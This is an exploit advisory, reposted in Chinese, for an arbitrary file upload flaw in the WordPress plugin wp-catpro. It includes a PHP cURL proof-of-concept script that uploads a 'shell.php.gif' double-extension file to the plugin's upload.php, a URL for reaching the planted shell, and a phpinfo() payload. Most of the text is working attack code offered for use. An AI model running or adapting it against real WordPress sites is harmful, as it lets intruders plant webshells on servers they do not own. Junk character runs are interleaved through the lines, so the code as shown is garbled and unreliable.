WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

作者  => Zikou-16
邮箱 => zikou16x@gmail.com
( M* Q$ @+ t; K+ Y  R6 I, P" a; n测试系统 : Windows 7 , Backtrack 5r3
  C8 |9 v2 |( h# v下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####
' p2 x% d' I+ M0 v) ?
& M" h  h1 q* v#=> Exploit 信息:
! A' O4 F# k( B7 k# B' a. z------------------
# 攻击者可以上传 file/shell.php.gif
* y3 f! T2 a2 M3 ]# y7 e# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
5 C+ X; K4 _8 m9 l# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------

#=> Exploit
1 B( U# R" ~: v4 b+ L4 {1 m3 _-----------
) B3 w: n" t4 ^$ v+ I5 Q<?php

7 h* J- l9 c1 x$uploadfile="zik.php.gif";
5 s! m" x% }. Z$ l" U' u" h$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
2 F7 R* R: {9 U, x, b2 rcurl_setopt($ch, CURLOPT_POST, true);
5 P/ L0 B9 z$ ^. `- f$ l8 @0 Ccurl_setopt($ch, CURLOPT_POSTFIELDS,
& r2 B5 X. L0 i$ B% Z6 |array('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
6 M  W; ~; y7 x$ @, P) x$postResult = curl_exec($ch);
& L* Z5 c" x! e. E8 Q3 d" c. Tcurl_close($ch);

print "$postResult";
3 [* a0 f1 z/ U5 U& w
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
! a" K$ M! Z( B- K% e; Q* G<?php
  V( y! m) Q6 e/ u$ ~9 qphpinfo();
?>